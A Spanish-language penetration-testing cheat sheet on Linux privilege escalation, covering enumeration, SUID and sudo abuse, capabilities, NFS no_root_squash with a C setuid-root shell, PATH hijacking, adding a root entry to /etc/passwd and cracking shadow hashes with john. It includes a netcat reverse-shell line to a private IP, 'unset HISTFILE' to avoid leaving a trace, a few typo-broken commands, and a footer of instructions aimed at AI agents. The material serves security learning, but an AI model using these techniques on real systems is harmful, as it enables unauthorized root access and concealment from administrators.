# Linux

## Enumeración básica

```bash
*** ls -la a la raiz del sistema siempre ***
id # privilegios usuario actual (lxd o docker)
uname -a # información kernel
su - <user> # no perder las variables
lsb_release -a # enumerar info del S.O
env # para ver las variables del sistema
ss -tulpn # ver puertos/servicios internos que hay abiertos
netstat -a # muestra todos los puertos que estan en escucha y conectados
ps aux # procesos ejecutandose en el sistema de manera ordenada
cat /etc/login.defs | grep “ENCRYPT_METHOD” # ver que tipo de encriptación se utiliza en el sistema en los hashes de las passwords
hash-indentifier # para ver que tipo de encryptacion tiene el hash
hashid <hash>
ps -eo user,command # reporta todos los comandos que se están ejecutando en el sistema
watch -d 'ps -ef # Procesos a tiempo real como pspy64
#shell
python3 -c 'import ptpy;pty.spawn("/bin/bash")'
python -c 'import ptpy;pty.spawn("/bin/bash")'
ps aux --sort="-%mem" |more # procesos ejecutanose
curl "http://192.168.1.2/login.php" --data-urlencode 'username=admin&password=pass123' # Enviar datos url encodeados 
php -r 'print urlencode("nc -e /bin/sh 192.168.218.147 5344");' ;echo # Encodear datos
a2query -m # ver modulos/funciones activados de apache
unset HISTFILE # antes de escalar priv, para no dejar huella de comandos
```

### Abusando de grupos

* [lxd/lxc](/notes-pentesting/escalada-de-privilegios/linux/abusando-grupo-lxd-lxc.md)
* [pcap](/notes-pentesting/escalada-de-privilegios/linux/abusando-grupo-pcap.md)

## Comprobar rutas importantes

```bash
# Rutas core
/etc/passwd | cut ":" -f 1
/etc/shadow
/etc/issue
/etc/group
/etc/hostname
/home/<user>/
/home/<user>/.ssh
/home/<user>/bash_history
# Comprobar que haya subdominios
/etc/nginx/sites-available
/etc/apache2/sites-available
```

### Enumeración automatizada

* LinPeas: <https://github.com/carlospolop/PEASS-ng>
* Linux Smart Enumeration: <https://github.com/diego-treitos/linux-smart-enumeration>
* LinEnum: <https://github.com/rebootuser/LinEnum>

## Abuso permisos sudo

```bash
sudo -l # comprobar que el usuario actual tiene capacidad de ejecutar un binario como root
```

<figure><img src="/files/5h6BWzRX7qJD5JOiO10H" alt=""><figcaption></figcaption></figure>

Si nos encontramos con env\_keep+=LD\_PRELOAD en el sudo -l podríamos hacer que cualquier programa utilice librerías compartidas, para saber como explotarlo accede a este [link](https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/)

## Abuso permisos SUID

```bash
find / -perm -4000 2>/dev/null # enumerar privilegios SUID
find / -perm -4000 2>/dev/null | grep “etc” # enumerar por archivos que estenexi en la ruta /etc/
find / -perm -4000 -o- -perm -2000 -o- -perm -6000 # enumerar grupos
```

## Encontrar carpetas/archivos que podemos escribir

```bash
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u # directorios
find / -writable 2>/dev/null | grep -v -i -E 'proc|run|sys|dev' # archivos
```

## Enumerar tareas en proceso (cronjob)

<pre><code>cat /etc/crontab o crontab -l
<strong>cat /var/spool/cron # para las cronjobs del sistema
</strong>cat /etc/anacron
systemctl list-timers # ver tareas que se van a ejecutar en los proximos minutos
</code></pre>

### Monitorizador comandos script bash

```bash
#!/bin/bash
old_process=$(ps -eo user,command)
while true; do
        new_process=$(ps -eo user,command)
        diff <(echo "$old_process") <(echo "$new_process") | grep "[\>\<]" | grep -vE "procmon|command|kworker"
        old_process=$new_process
done
```

## Abuso Capabilites

```bash
getcap -r / 2>/dev/null # de forma recursiva ver las capabilities que hayan definidas en el sistema
setcap -r <ruta> # quitar capabilty
setcap cap_setuid+ep <ruta del archivo> # asignar SUID permisios a la ruta
```

## Bypass restricted bash

```
ssh user@ip bash # y después realizamos el tratamiento de la TTY
ssh user@ip 'bash --norc --noprofile'
```

## NFS

NFS (Network File System) es un protocolo de red utilizado para compartir sistemas de archivos entre computadoras. En el contexto de la escalada de privilegios en Linux, NFS puede ser utilizado como una técnica para obtener acceso a archivos o directorios que no son accesibles por defecto para un usuario sin privilegios.

Y se encuentra en este archivo:

```
/etc/exports
```

<figure><img src="/files/LP4kuRvPRbuKBjudqipp" alt=""><figcaption></figcaption></figure>

El elemento crítico para este vector de escalada de privilegios es la opción "no\_root\_squash" que puede ver arriba. De forma predeterminada, NFS cambiará el usuario raíz a nfsnobody y eliminará cualquier archivo para que no funcione con privilegios de raíz. Si la opción "no\_root\_squash" está presente en un recurso compartido grabable, podemos crear un ejecutable con el conjunto de bits SUID y ejecutarlo en el sistema de destino.

Primero tenemos que enumerar los recursos compartidos montables de la máquina victima:

<figure><img src="/files/woGsgKdZ2RFWjWJ07TC6" alt=""><figcaption></figcaption></figure>

Montaremos un recurso compartido "no\_root\_squash" en nuestra máquina local

<figure><img src="/files/CrysbLixITIEl0AXmOrN" alt=""><figcaption></figcaption></figure>

Creamos un script con C con una /bin/bash y que nos de root cuando se ejecute en la victima

```c
int main()
{ setgid(0);
  setuid(0);
  system("/bin/bash");
  return 0;
}
```

Lo compilamos y le damos permisos SUID

<figure><img src="/files/zlH79pHpmQw0sU0afovb" alt=""><figcaption></figcaption></figure>

No hace falta transferirlos por qué ya está en la máquina victima ya que hemos estado trabajando en ella mediante un recurso compartido.

<figure><img src="/files/GDRecnbXsh7bJJZNReXB" alt=""><figcaption></figcaption></figure>

Lo ejecutamos y somos root

![](/files/fLOGklF9P25N0KI5ewyW)

## Kernel exploits

```bash
uname -a
lsb_release -a
```

### Consejos

1. Se muy especifico a la hora de buscar la version del kernel en exploitdb,google o searchsploit.
2. Entiende muy bien el exploit antes de ejecutarlo, a veces se tienen que modificar.
3. Puede que el script se tenga que interactuar en el futuro así que cuidado.
4. Para traspasar el exploit a la máquina victima, como siempre la carpeta /tmp y en tu máquina abres un servidor `python3 -m http.server 9000`

Si creemos que puede que el sistema comprometido es vulnerable de kernel, como un script que no sea de ese mismo kernel lo ejecutemos en el sistema puede romperlo.

Para asegurarnos tenemos [LES (Linux Exploit Suggester)](https://github.com/jondonas/linux-exploit-suggester-2) que nos ayudará a saber cual es el CVE correcto para ejecutar.

## Analizar archivos

```bash
ltrace <archivo> # se utiliza para rastrear las llamadas a funciones bibliotecarias que hace un programa en tiempo de ejecución.
strings <archivo> #  busca en un archivo binario (como un archivo ejecutable o una biblioteca compartida)
```

## Path Hijacking

Si nos encontramos un binario con SUID podemos hacer un path hijacking, pero como se hace?

Primero hay que entender que es un $PATH, cuando hacemos echo $PATH sale lo siguiente:

<figure><img src="/files/y1ntmUNdw47CQ1cNR6ks" alt=""><figcaption></figcaption></figure>

Cuando nosotros ejecutamos un comando como curl, lo busca en el $PATH, primero va a ir /usr/local/sbin y si no encuentra ahí el curl va al --> /usr/local/bin y si tampoco va al --> /usr/sbin y así sucesivamente. Por eso por ejemplo si ejecutamos "auqdqoy" nos sata un error, porque en ninguna de las rutas encuentra ese comando

<figure><img src="/files/SGrLUFIzQBGF1c0pFbv7" alt=""><figcaption></figcaption></figure>

La cosa viene aquí, nosotros podemos modificar el path temporalmente, y de aquí viene el path hijacking, ponemos la ruta que queremos al principio del $PATH para así engañar al sistema, también el problema es que el binario donde llamamos a curl, ese comando lo hace de forma relativa y no absoluta, para que no se pueda hacer un path hijacking basta con que a la hora de programar se ponga la ruta abosluta, a continuación veremos un ejemplo de lo que es una ruta absoluta y relativa:

### **Ejemplo de absoluta y relativa**

* Absoluta --> /usr/bin/curl
* Relativa --> curl

### Ejemplo Path Hijacking

1. Hay un binario llamado statuscheck que tiene permisos SUID

<figure><img src="/files/0ADF9yYIBOM3cObUDtcY" alt=""><figcaption></figcaption></figure>

2. Lo ejecutamos y vemos que lo que hace por detrás es hacer un `curl -I http://localhost`es decir que pide la cabecera del local host.

<figure><img src="/files/Rv13hTCeYC3XgtsDEtWP" alt=""><figcaption></figcaption></figure>

3. Una vez sabido esto, ¿Cómo podemos saber que ejecuta por detrás el binario?

   1. Fácil, con un comando que se llama strings, podemos analizar el binario.
   2. Aquí vemos que haciendo strings \<binario> vemos que ejecuta `curl -I http://localhost` por detrás.

   <figure><img src="/files/8mlYUz5M3EUgxBSZuZu1" alt=""><figcaption></figcaption></figure>
4. Sabiendo esto, vamos a hacer el path hijacking.
5. Creamos en la carpeta /tmp un archivo que se llame igual que curl y le ponemos que nos ejecute una shell con privilegios (parámetro -p) y le damos permisos de ejecución con chmod +x \<archivo> por que sino no funcionará.

<figure><img src="/files/esSR1SIEEezErJV7s9Lp" alt=""><figcaption></figcaption></figure>

6. Modificamos el $PATH temporalmente con la siguiente comanda

<figure><img src="/files/Xf6EnReZoHgbXXQiSifY" alt=""><figcaption></figcaption></figure>

7. Si ahora miramos el $PATH veremos como al principio de todo saldrá /tmp

<figure><img src="/files/cVb80Gpcby0oqekpLekB" alt=""><figcaption></figcaption></figure>

8. Lo siguiente sería ejecutar el binario y en principio nos dará una shell como root, y habremos escalado privilegios.

<figure><img src="/files/ZOIcbj2h00pgThcqyfJc" alt=""><figcaption></figcaption></figure>

## Añadir un usuario al /etc/passwd

Este comando generará un hash en formato md5 para un usuario en especifico y le añade salt para que sea incrackeable.

```bash
openssl passwd -1 -salt <usuario> <contraseña>
```

| Parámetro | Descripción                                                                          |
| --------- | ------------------------------------------------------------------------------------ |
| -1        | Utiliza el algoritmo de hash MD5.                                                    |
| -5        | Utiliza el algoritmo de hash SHA256.                                                 |
| -6        | Utiliza el algoritmo de hash SHA512.                                                 |
| -salt     | Permite especificar una cadena de sal para el usuario.                               |
| -in       | Especifica un archivo de entrada para el que se desea generar un hash de contraseña. |
| -stdin    | Lee la contraseña de la entrada estándar en lugar de solicitarla al usuario.         |
| -noverify | No verifica la contraseña al crear el hash.                                          |
| -help     | Muestra una lista de opciones disponibles para el comando.                           |

Vamos al /etc/passwd y añadimos al final de la linea lo siguiente

```bash
root:passoword:0:0/root/bin/bash
```

## Crackear passwords de /etc/passwd - /etc/shadow

Si fuera el caso de que tenemos permisos de lectura y escritura al /etc/passwd y al /etc/shadow una vez comprometido, y queremos saber las passwords de los demás usuarios, tendriamos que hacer el siguiente proceso

1. Poner en un archivo .txt el shadow y passwd
2. Una vez hecho hacer `unshadow passwd.txt shadow.txt > cracked.txt`
3. Utilizar john con usuario generado `cracked.txt` y crackear los hashes que hayamos obtenido.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt cracked.txt
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://j4ckie0x17.gitbook.io/notes-pentesting/escalada-de-privilegios/linux.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.